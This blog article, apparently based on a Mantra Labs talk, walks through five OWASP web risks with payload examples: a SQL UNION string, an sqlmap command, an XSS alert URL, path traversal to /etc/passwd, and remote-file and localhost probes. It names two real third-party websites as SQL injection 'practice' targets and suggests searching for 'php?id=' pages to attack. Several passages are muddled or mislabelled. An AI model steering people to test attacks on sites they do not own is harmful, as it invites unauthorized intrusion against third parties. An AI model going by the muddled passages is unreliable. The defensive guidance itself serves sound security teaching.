Frontend

[Part 1] Web Application Security Testing: Top 10 Risks & Solutions

Mantra Labs organized a conference at their Bangalore office, where their seasoned Test Engineer Rijin Raj discussed the current top 10 web application security risks in the evolving digital world. He elaborated on vulnerabilities with examples and offered suggestions to avoid them.

The Open Web Application Security Project (OWASP) is an international organization for enhancing the security of web applications. The top 10 web application security risks worldwide are:

Injection
Broken authentication and session management
Cross-site scripting
Indirect object security reference
Security misconfiguration

In the second part of this series, we will cover the following web application security testing parameters:

Sensitive data exposure
Missing function level access control
Cross-site forgery
Using components with known vulnerabilities: Heartbleed and Shellshock
Unvalidated redirects and forwards

To get an idea about how hackers are exploiting web applications and prevailing security/penetration bugs, you can go through the exploit database’s list. Now let’s delve deep into the risks and web application security testing measures.

1. Injection

Here, an attacker sends rogue content to a web application interpreter resulting in executing authorized commands. The most common forms of code injection attacks are SQL Injection ( or SQLi). An SQLi attack sends malformed code into the database server, leading to exposure of your data. This style of attack is so simple that anyone with access to the internet can do it. In fact, SQLi scripts are available for download.

How is SQLi or Injection attack done?

The attacker enters characters — “” into the search field and presses the button. It leads to an error page that displays more information than required. The following example shows a badly and insecurely programmed application that is not capable of handling SQL Injections.

Just a few illegal characters with a little sniffing around leads the hacker to this string: “‘ union select password from users;”. He can then implement this finding to harvest usernames and passwords from the database. This is just one basic way to exploit application databases.

Commonly used tools for detecting & preventing SQL Injection attacks

SQLmap: It is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking-over of database servers. It is commonly used in Kali-linux.

After finding a vulnerable page you can find database by typing:

sqlmap –u (url) –dbs

Tip: You can use the Hackers Arise guide on how to use SQLmap.

For web application security testing practice, you can use the following websites:

http://www.shumka.com/shumka-at-50/news/index.php?id=847
http://waytogonatural.com/product_detail.php?ID=4526

You can also find SQL vulnerable websites on your own. You just have to look for:

php?id=(any Number)
login.php?id=(any number)
index.php?id=(any number)

Also, go through these examples of SQLi attacks: blind SQL Injection attack, SQL Injection vulnerability.

2. Broken authentication and session management

Incorrect implementation of authentication schemes and session management can allow unauthorized users to assume identities of valid users.

Broken Authentication and Session Management attacks are anonymous attacks with an intention to try and retrieve passwords, user account information, IDs and other details.

Key Points to check if you are vulnerable:

Unprotected user authentication credentials while storing using hashing or encryption.
Possibility of guessing or overwriting credentials because of weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
Exposed Session IDs in the URL (e.g., URL rewriting).
Session IDs are vulnerable to session fixation attacks.
Session IDs don’t timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, lack of proper invalidation during logout.
Passwords, session IDs, and other credentials are sent over unencrypted connections.
Session IDs aren’t rotated after successful login.

Examples of broken authentication attack scenarios

Scenario #1

Airline reservations application supports URL rewriting, putting session IDs in the URL.

http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii

An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.

Scenario #2

An application’s timeouts aren’t set properly. A User uses a public computer to access a site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.

Scenario #3

Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every users’ password to the attacker.

Check vulnerability to ‘Sensitive Data exposure’

Are you storing any crucial data in clear text long term, including backups of this data?
Are you using any old / weak cryptographic algorithms?
Check if you’re transmitting any of the data in clear text, internally or externally? Internet traffic is especially dangerous.
Are weak crypto keys generated, or is proper key management or rotation missing?
Are any browser security directives or headers missing while providing sensitive data to the browser? (Nikto)

Web application security testing and prevention from Sensitive data exposure

Make sure you encrypt all sensitive data .
Don’t store sensitive data unnecessarily. Discard it as soon as possible. No one can steal the data that you don’t have, right?
Ensure using strong standard algorithms and strong keys.
Make sure proper key management is in place.
Ensure storing passwords with powerful password protection algorithms such as bcrypt, PBKDF2, or scrypt.
Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.

How to protect your application against broken authentication and session management?

Password strength:

Define minimum size and complexity. Complexity depends on the usage of combinations of alphabetic, numeric, and/or non-alphanumeric characters.
Change password periodically
Prevent reusing previous passwords.

Password use:

Restrict to a small, finite number of login attempts per unit of time and log repeated failed login attempts.
System should not indicate whether it was the username or password that was wrong if a login attempt fails.

Password change controls:

Ask users to provide both their old and new password while changing their password.
If your system emails forgotten passwords to users, ask users to re-authenticate whenever they’re changing their email address. Otherwise, an attacker who has won temporary access to their session (e.g. by walking up to their computer while the actual user is logged in) can simply change their email address and request an email for ‘forgotten password”.

Password storage:

Store passwords in either hashed or encrypted form.
Use encryption whenever plain text password is required.

Session ID protection:

Protect the entire user session via SSL.
Never include Session ID in the URL as they can be cached by the browser.
Session IDs should be long, complicated, random numbers that are impossible to guess.
Change Session IDs frequently during a session to reduce how long a session ID is valid. One should also change Session IDs when switching to SSL, authenticating or other major transitions.

Browser caching:

Never submit authentication and session data as part of a GET. Always use POST method.
Always mark authentication pages with all varieties of the no cache tag to prevent someone from using the back button in a user’s browser and backup to the login page and resubmit the previously typed in credentials.

Also, refer to these examples of broken authentication and session management: Bad 2FA activation flow, Coursera application loophole.

3. Cross-site scripting

This happens when a browser unknowingly executes scripts to hijack sessions or redirect to a rogue site.

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts (malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application uses unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, he exploits a vulnerability within a website or web application that the victim would visit; essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser. There are basically two types of XSS:

Stored XSS
Reflected XSS

Stored XSS

A Stored Cross-site Scripting vulnerability occurs when the malicious user can store an attack which will be called at a later time upon some other unknown user.
The storage of a method could involve a database, or a wiki, or blog. The attack executes when the unknowing user encounters the attacker’s malicious stored program. The stored method not only has the problem of incorrect checking for input validation, but also for output validation. If you’re sanitizing data during input, you should also check it for output processes. By checking and validating the output data, you can also uncover unknown issues during the input validation process.

Reflected XSS

The malicious user, once discovering a field within a website or web application holding XSS vulnerability, crafts a way to execute something malicious to some unknown user. This gives a chance to Reflected XSS vulnerabilities. Here, an unknown user is directed to a XSS vulnerable web application executing the attack.
The attacker crafts the attack using a series of url parameters that are sent via a url. The malicious user then sends his/her malicious url with the url parameters to unknowing users. This is typically sent by email, instant messages, blogs or forums, or any other possible methods.

How to test for XSS injection vulnerabilities?

You can determine if a web-based application is vulnerable to XSS attacks very easily. Take a current parameter that is sent in the HTTP GET request and modify it. Take for example the following request in the browser address URL bar. This url will take a name parameter that you enter in a textbox and print something on the page. Like “Hello George, thank you for coming to my site” http://www.yoursite.com/index.html?name=george

Now, modify it so as to add an additional information to the parameter. For example try entering something similar to the following request in the browser address URL bar.

http://www.yoursite.com/index.html?name=<script>alert(‘You just found a XSS vulnerability’)</script>

If this pops up an alert message box stating “You just found a XSS vulnerability”, then you know this parameter is vulnerable to XSS attacks. I.e. you’ve not validated the parameter name and it is allowing anything to be processed as a name, including a malicious script that is injected into the parameter passed in.

Basically what is occurring is normally where the name George would be entered on the page the </script></script> message is instead being written to the dynamic page.

More on XSS vulnerability and examples — hackersonlineclub.com

You can use Zaproxy, a freeware tool for web application security testing. Also, you can use Burp Suite and Beef for XSS vulnerability testing.

4. Indirect object security reference

An attacker can access a reference to a file or directory and manipulate that reference to gain unauthorized access to other objects (unless an access control check is in place).

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter.

Vulnerability to insecure direct object references

For direct references to restricted resources, does the application fail to verify that the user is authorized to access the exact requested resource?
If the reference is an indirect reference, does the mapping to the direct reference fail to limit the values to those authorized for the current user?

How to test insecure direct object references?

For this category of web application security testing, a Tester first needs to map out all locations in the application where user input is used to reference objects directly (e.g. database rows, files, application pages, etc.). Next, the tester should modify the parameter value for reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

The best way to test insecure direct object references is — take at least two users to cover different owned objects and functions. For example, take two users with each having access to different objects (such as purchase information, private messages, etc.), and (if relevant) users with different privileges (for example administrator users). Now see whether there are direct references to application functionality. By having multiple users the tester can save valuable testing time in guessing different object names as he can attempt to access objects that belong to the other user.

Examples of insecure direct object references

The value of a parameter directly retrieves a database record.

Sample request: http://foo.bar/somepage?invoice=12345

In this case, the value of the invoice parameter is used as an index in an invoices table in the database. The application takes the value of this parameter and uses it in a query to the database. The application then returns the invoice information to the user.
Since the value of invoice goes directly into the query, by modifying the value of the parameter it is possible to retrieve any invoice object, regardless of the user to whom the invoice belongs.
To test for this case the tester should obtain the identifier of an invoice belonging to a different test user (ensuring he is not supposed to view this information per application business logic), and then check whether it is possible to access objects without authorization.

You can refer to these reported cases — deleting a member of any organization, reset password.

Many web applications use and manage files as part of their daily operation. Using poorly designed/deployed input validation methods, an aggressor can exploit the system in order to read or write private files.

Web application security testing techniques for validation bypassing attack

In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. Here are some examples of the checks to be performed at this stage:

Are there request parameters which could be used for file-related operations?
Are there unusual file extensions?
Is there interesting variable names?

Consider the following strings-

http://example.com/getUserProfile.jsp?item=ikki.html

http://example.com/index.php?file=content

http://example.com/main.cgi?home=index.htm

An attacker can insert the malicious string “../../../../etc/passwd” to include the password hash file of a Linux/UNIX system. This kind of attack is possible only if the validation checkpoint fails. According to the file system privileges, the web application itself must be able to read the file.

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

It is also possible to include files and scripts from external websites.

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

While accepting protocols as arguments, as in the above example, it’s also possible to-

probe the local filesystem: http://example.com/index.php?file=file:///etc/passwd
probe local or nearby services: http://example.com/index.php?file=http://localhost:8080 or http://example.com/index.php?file=http://192.168.0.2:9080

Refer to this example of path traversal — Full Path Disclosure by removing CSRF token

5. Security misconfiguration

Improper server or web application configuration leads to various flaws.

Debugging enabled
Incorrect folder permissions
Using default accounts or passwords

Vulnerability to Security Misconfiguration

It’s better to check if your application is missing the proper security hardening across every part of the application stack including-

Check for any out of date software (OS, Web/App Server, DBMS, applications, APIs, and all components and libraries).
Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts, privileges)?
Are default accounts and their passwords still enabled and unchanged?
Does your error handling reveal stack traces or other overly informative error messages to users?
Are the security settings in your application servers, application frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values?

Security misconfiguration attack scenarios

Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Here, the attacker can discover standard admin pages on your server, logs in with default passwords, and take over.

Scenario #2: Directory listing is not disabled on your web server. An attacker can simply list directories to find any file. The attacker finds and downloads all your compiled Java classes, which they decompile and reverse engineer to get all your custom code. Attacker, thus, finds a serious access control flaw in your application.

Scenario #3: App server configuration allows returning stack traces to users, potentially exposing underlying flaws such as framework versions that are highly vulnerable.

Scenario #4: App server comes with sample applications that are not usually removed from your production server. These sample applications have well known security flaws that attackers can use to compromise your server.

How to protect against security misconfigurations?

Follow these 8 measures to protect your application against security misconfiguration attacks.

Install latest updates and security patches. Have an easy to manage updating process with test environments to check updates before deploying to production environments.
Remove sample applications that ship with content delivery systems and web frameworks. Most tools that help build web applications include demo and sample code to help teach developers how to use the tools and starter toolkits. These apps are a known target for anyone attempting to compromise web application security.
Remove unused features, plugins and web pages. Only include the parts of web applications that you need for your services to end users.
Turn off access to setup and configuration pages. Don’t leave the setup and configuration pages available for external users.
Change usernames, passwords and ports for default accounts. Web application frameworks and libraries often ship with default administration names, passwords and access ports enabled. Everyone knows these. Change all these to non standard usernames, passwords and ports.
Don’t share passwords between accounts on Dev, Test and Production systems.
Don’t use the same administration accounts and settings across your Dev, Test and Production systems.
Turn off debugging so as to prevent sending internal info back in response to test queries or errors. Excessive debugging information can let attackers glean information about a web applications configuration.

Also read – Security Misconfiguration: Hardening your ASP.NET App

We’ll discuss the remaining 5 web application security risks and testing for vulnerability in the part 2 of this series.

Go to – Web application security testing part 2

About the author: Rijin Raj is a Senior Software Engineer-QA at Mantra Labs, Bangalore. He is a seasoned tester and backbone of the organization with non-compromising attention to details.